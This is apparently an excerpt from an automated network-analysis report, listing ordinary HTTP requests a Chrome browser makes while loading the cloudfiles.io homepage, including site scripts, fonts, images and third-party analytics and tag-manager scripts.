Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/main-fa785b6e775a62c2.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/_app-f171edb1f3175855.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/0e6451da-b3c1968280f835d2.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/61cbca8494eb3ac19b8548ecc52b65d8.js HTTP/1.1Host: cdn.cookie-script.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/nunitosans/v12/pe0qMImSLYBIv1o4X1M8cce9I9tAcVwo.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://cloudfiles.iosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logos/FullLogo-new.svg HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/inter/v12/UcC73FwrK3iLTeHuS_fvQtMwCp50KnMa1ZL7W0Q5nw.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://cloudfiles.iosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/fc20e1c4-9e1761e40e9bca31.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/545f34e4-eb701074efab5973.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/8edc3fe5-3b2ecbcd66ce8f68.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/951-9933cd60a769c984.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/28-8667e3219650ddd1.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/390-8a0eaf13ec9db927.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/976-86b91bf77cab8070.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/pages/home/hero-image.svg HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/index-54a1471851cf647f.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/YJeXlCCpqKEI4BNvP_rQi/_buildManifest.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/YJeXlCCpqKEI4BNvP_rQi/_ssgManifest.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/Chris-Moore.png HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/1920px-HubSpot_Logo.svg.png HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/sf-logo.png HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/hs-logo.png HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/nunitosans/v12/pe03MImSLYBIv1o4X1M8cc8-BM5tU1ECVZl_.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://cloudfiles.iosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/nunitosans/v12/pe03MImSLYBIv1o4X1M8cc9iB85tU1ECVZl_.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://cloudfiles.iosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/nunitosans/v12/pe03MImSLYBIv1o4X1M8cc8aBc5tU1ECVZl_.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://cloudfiles.iosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logos/footer-background.png HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5 HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"23d-5m7x852I5e9PUXYs14wIemXqxlk"
Source: global traffic	HTTP traffic detected: GET /analytics.js/v1/KUs1gEeIVanAKts76f3NenLgmETEQxxr/analytics.min.js HTTP/1.1Host: cdn.segment.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /20182553.js HTTP/1.1Host: js-na1.hs-scripts.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gtag/js?id=UA-188936264-1 HTTP/1.1Host: www.googletagmanager.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gtm.js?id=GTM-P8KQL93 HTTP/1.1Host: www.googletagmanager.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gtag/js?id=G-HB9Z4JLXX4 HTTP/1.1Host: www.googletagmanager.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iframe_api HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /_next/data/YJeXlCCpqKEI4BNvP_rQi/pricing.json?slug=pricing HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"purpose: prefetchsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36x-nextjs-data: 1sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fhs-logo.png&w=1920&q=75 HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/projects/KUs1gEeIVanAKts76f3NenLgmETEQxxr/settings HTTP/1.1Host: cdn.segment.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://cloudfiles.ioSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/5-star-rating.svg HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fg2-logo.png&w=1920&q=75 HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/abfb84fe/www-widgetapi.vflset/www-widgetapi.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /analytics/1663913400000/20182553.js HTTP/1.1Host: js.hs-analytics.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
